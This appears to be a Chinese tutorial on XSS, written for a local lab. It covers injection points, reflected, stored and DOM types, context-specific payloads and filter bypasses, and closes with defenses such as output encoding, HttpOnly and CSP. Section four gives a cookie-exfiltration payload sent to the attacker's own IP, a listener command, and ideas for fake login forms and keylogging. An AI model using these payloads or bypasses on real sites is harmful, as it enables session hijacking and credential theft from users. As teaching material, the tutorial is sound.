弹窗弹出来之后,攻击才刚开始
XSS
本文涉及的所有操作均在本地靶场环境中进行,用于理解漏洞原理与防御思路,请勿用于未授权的目标。
学过XSS的人应该都见过这个代码。
<script>alert(1)</script>
把这串代码放进搜索框里,然后屏幕上就会弹出一个写着1的框。然后靶场里可能就会弹出flag:....然后就通关了。
可是只有这个弹窗在渗透中干不了什么。这个弹窗弹出来就只能证明一件事。
一、那个弹窗能证明什么?
XSS的全称是跨站脚本攻击(Cross-Site Scripting),这个命名是为了不和CSS撞名所以才缩写为XSS.
哪个弹窗的出现证明:你提交的那串内容被当成了代码执行。并没有当成文字显示出来。网站本应该把你输入的内容显示成一段话,结果却是它把这句话交给浏览器的JS引擎。
XSS的本质其实就是这一件事:你提交的东西被做成了代码来跑。它的本质上是一段JavaScript,JS能做到的事情它都能做到。
还有一点也很重要:XSS是属于客户端攻击,受害者是用户而不是服务器。服务器没有什么问题,用户的浏览器却被操控了。
例子:


多数人会用alert(1),会讲究的会用alert(document.domain),弹出来的是当前的域名。但是我更推荐动静小一点的<h1>。多打几个字的好处在于,它能证明这个代码跑在了哪个站点,写进漏洞报告也更有依据一点。
二、在什么地方输代码
XSS攻击的第一步就是找能输入内容的地方。
判断标准只有一条:哪里能输入,内容是否显示在页面上。
| 位置 | 说明 |
|---|---|
| 搜索框和评论区 | 很明显容易被修 |
| 用户资料和个性签名 | 这个地方很容易漏 |
| HTTP请求头 | Referer、User-Agent常被展示在后台 |
| POST的JSON数据 | 前端渲染时成为出口 |
| URL参数 | 通过改变URL的内容查看回显 |
前面的两个是页面上可以直观看到的,后面的这三个很容易被人忽略。HTTP请求头可以多试试,很多网站会把访问的来源记下来给管理员看。
举个例子:如果地址栏里面有一个?keyword=test,可以吧test换成代码,然后观察页面上是否有回显,回显出现在哪个位置。
三、判断注入类型
弹窗后第一件事情不是接着怎么拿到信息,而是搞清楚这个XSS是什么类型。
XSS分为三类,学会判断方法比分类有用:发一次带payload的请求,然后看返回内容。
| 类型 | 怎么判断 | 危害 |
|---|---|---|
| 反射型 | 只会在当次的返回中出现 | 要骗人打开链接才会触发 |
| 存储型(最严重) | 存在服务器,打开页面就存在 | 打开就中招 |
| DOM型 | 返回包里没有数据,弹窗照样弹 | 服务器和WAF都察觉不到 |
如果想验证存储型就需要两个账号进行测试:A提交payload,B在进入界面时会被影响。
DOM型特殊在它只发生在浏览器里。代码没有发给服务器,服务器里面的日志也找不到痕迹,WAF也看不到,payload一般藏在URL的#号后面,#号后面的内容根本就没有往服务器上发。
在前端的JS找,查看是否有危险的写法:innerHTML、document.write、eval,看看填这个位置的值是不是从URL或location.hach里获取的。
分清楚哪一种XSS可以直接决定这个漏洞有多严重。
反射型:一般被当做低危漏洞看待,但是如果配合钓鱼邮件作为链接,成功率也很高。
存储型:如果落在了管理员每天都要看的页面上,危害也会很大。如果一个网站有做权限控制的话,管理员的权限会比一般的用户大得多,有可能可以控制文件管数据。攻击面也会广很多。
四、让弹窗变为能真正干活的载荷
除了知道弹窗的存在还要把它换成能真正干活的东西。
最常见的写法就是骗浏览器去加载一个根本就不存在的图片,把Cookie拼在图片的地址里:new Image().src='http://你的IP:8000/?c='+document.cookie
当目标加载这个图片就会发送出一个请求,这个请求会发送到你的机器里,Cookie就得到了。但是前提是你的机器又开启(python -m http.server 8000)进行监听,日志里就可以找到。
那问题来了,我要cookie作甚?
浏览器依靠Cookie来记住你是谁,登录之后每一次请求都会用它来识别用户。如果拿到了这个值就可以以对方的身份进入,甚至都不用密码。
存储型有一种方法叫做盲打。把代码放进去,不知道管理员什么时候能进入页面,只能把监听打开。日志里发现新的内容就说明有人中招了。
例子:


cookie是最常拿的一项。同一个位置还能再做一个假的登录框来套取密码、记录键盘的输入,把页面弹到钓鱼网站上。弹框要换成什么取决于你需要什么。
五、你的代码放在哪里,决定它会是什么样
同样是弹窗,Paylod是什么样取决于你的输入点落在了页面的哪个位置。
| 落在哪 | payload长什么样 |
|---|---|
| 两个标签之间 | <script>alert(1)</script> |
| 标签的属性里 | "onmouseover=alert(1) x= |
| JS的代码里 | ;alert(1)// |
怎么看落在哪里?可以查看网页的源代码,搜索刚才提交的那串测试的字符,看它出现在什么标签,什么属性里。这一步花个一分钟,能省后面一个小时的瞎试。

另外说一下,属性的x=那个并不是多余的,它主要负责的是吃掉原有的HTML剩下的引号,让整段结构合法。
六、为什么载荷过不去?
网站有过滤,对应的方式一列就清楚。
| 拦截方法 | 这么绕 |
|---|---|
| 大小写匹配 | <ScRipT>混着写 |
| 关键字删除 | 双写成scrscriptipt |
| 特征识别 | HTML实体/Unicode/URL编码 |
| 标签被禁 | 换成svg、style |
| 事件被禁 | 换成onfocus、ontouchstart |
| 长度限制 | 把内容压缩到20字节内,或者两框拼接 |
编码的那条思路都差不多:让过滤器认不出来,浏览器却可以还原回去,能够触发JS的HTML事件可能有几十个,过滤器很难列全,地址链接里还有javascript伪协议这条路,<a href=javascript:alert(1)>点我</a>点击一下即可执行。
最后一种拦法不做过滤,只做限长。输入框中只允许20个字符,常规的payload一般都塞不下。
但是压一压还是能过,"onclick=alert(1)// 这样一段不到二十个字节,点一下就触发。
更巧的是有两个输入框的情况。第一个框以 <!-- 收尾,第二个框以 --> 开头,中间夹着的那些原有 HTML 全被当成注释跳过,两段的拼接结果就是一个完整的 payload。限长拦得住单段,拦不住这种拼法。
七、怎么防
站在开发者的角度,防线总共有四层。这四层的差别不在强弱,主要看的是哪个环节在挡。
| 防线 | 挡住了什么 | 挡不住什么 |
|---|---|---|
| 输出编码 | 所有注入 | 基本没有 |
| HttpOnly | 读走cookie | 代码执行、借身份发消息 |
| CSP | 外部与内部脚本 | 已放行来源里的脚本 |
| 输入过滤 | 提高攻击成本 | 编码与变形 |
输出编码是根。所有用户输入在要显示在页面的时候,按它所在的位置做对应编码:落在 HTML 里就做 HTML 实体编码,落在 JS 里就做 Unicode 转义。
PHP 里对应的是 htmlspecialchars。编码做对了,前面那些绕过手法全部失效。
HttpOnly 的边界最容易理解错。 给 Cookie 加上这个属性,JS 就读不到它,偷 Cookie 的脚本直接失去目标。它挡的是「读走凭证」,但是挡不住 XSS 本身。
代码还是照样在用户的浏览器里跑,攻击者可以借着对方的身份在页面内发请求、从页面上抓 CSRF token、把页面内容传出去。最省事的那条路被堵了,别的路还开着。
CSP(内容安全策略)。 告诉浏览器只允许执行指定来源的脚本,内联脚本一律拒绝。配成只认本站的脚本文件,注入进来的 <script> 就跑不起来。
输入过滤只能算辅助。 顺带说几个 PHP 函数的区别:strip_tags 会剥掉 HTML 标签,适合只要纯文本的场景;str_replace 是查找替换,做黑名单用,追不上变形的花样;addslashes 转义引号和反斜杠,那是防 SQL 注入的,拿来防 XSS 不管用。
四层里只有输出编码能断根。另外三层想的都是同一件事:万一它还是漏了,怎么少赔一点。
八、最后
回到那个弹窗。
每个学 XSS 的人都见过这个框,也最容易停在这一步。弹出来只是起点,它证明门没锁。进门之后要拿什么、拿的东西怎么用,那才是攻击。
判断一个 XSS 值不值得修,看三件事:是哪一种,谁会打开那个页面,打开的人有多大权限。
下次你在一个输入框里弹出 alert 的时候,可以多问一句:这个位置换成真正干活的代码,能拿到什么。